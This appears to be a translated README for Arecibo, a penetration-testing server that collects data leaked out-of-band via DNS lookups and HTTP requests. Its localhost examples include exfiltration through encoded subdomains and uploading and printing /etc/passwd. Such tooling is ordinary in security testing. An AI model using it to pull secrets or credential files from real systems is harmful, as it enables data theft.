用于带外数据泄露(DNS 和 HTTP)的端点
Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)
创建一个新令牌:
curl localhost:5000/generatedns
{"htoken": "c008b5dd22817c50441522f917c66743"}
现在你可以使用这个识别令牌来进行 DNS 解析(ABCD.TOKEN.x.yourdomain.com):
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: DOMINIO
Address: 127.0.0.1
你可以通过 /hitsdns/TOKEN 查看命中记录和泄露的数据:
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743
{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]}
如果你想要所有拼接的数据,可以使用 /dumpdns/token:
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743
{"dump": "test-exfiltracionconcatenatedtootherinfo"}
生成令牌:
curl localhost:5000/generatehttp
{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}
现在你可以通过 HTTP 请求(http://yourodmain.com/h/TOKEN)来泄露信息。GET/POST 参数、请求头和 IP 都会被 Arecibo 记录。
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!
要检索信息,使用 /hitshttp/TOKEN:
curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}
如果你需要显示自定义的 HTML、请求头或状态码,可以使用 POST 方法来设置其值(请求体必须是 base64 编码的):
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
"htoken": "324e18288eed54548392c5a65514b3dc"
}
Arecibo 解析符合 X.Y.Z.A.ip.yourdomain.com 模式的域名为 X.Y.Z.A:
> 10.0.0.1.ip.yourdomain.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: yourdomain.com
Address: 10.0.0.1
使用 /upload 端点上传文件:
curl localhost:5000/upload -F 'x-file=@/etc/passwd'
{"htoken": "36981274bdb9cc833472681caeb82337"}
使用生成的令牌下载文件:
curl localhost:5000/download/36981274bdb9cc833472681caeb82337
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
通过 /ip 显示客户端 IP:
curl localhost:5000/ip
{"ip": "127.0.0.1"}
你需要从发行版仓库安装 pdns 和 pdns-backend-pipe,以及 Python 的 flask 和 flask_restful 模块。
chmod +x arecibo-dns-backend.pysetuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py
(将 setuid/setgid 改为用于运行 API 脚本的值,两者必须相同)
你的服务器必须配置为域的权威 DNS 服务器
重要提示: 你必须在 Arecibo 之前设置 nginx 或其他反向代理,以提供认证和安全性。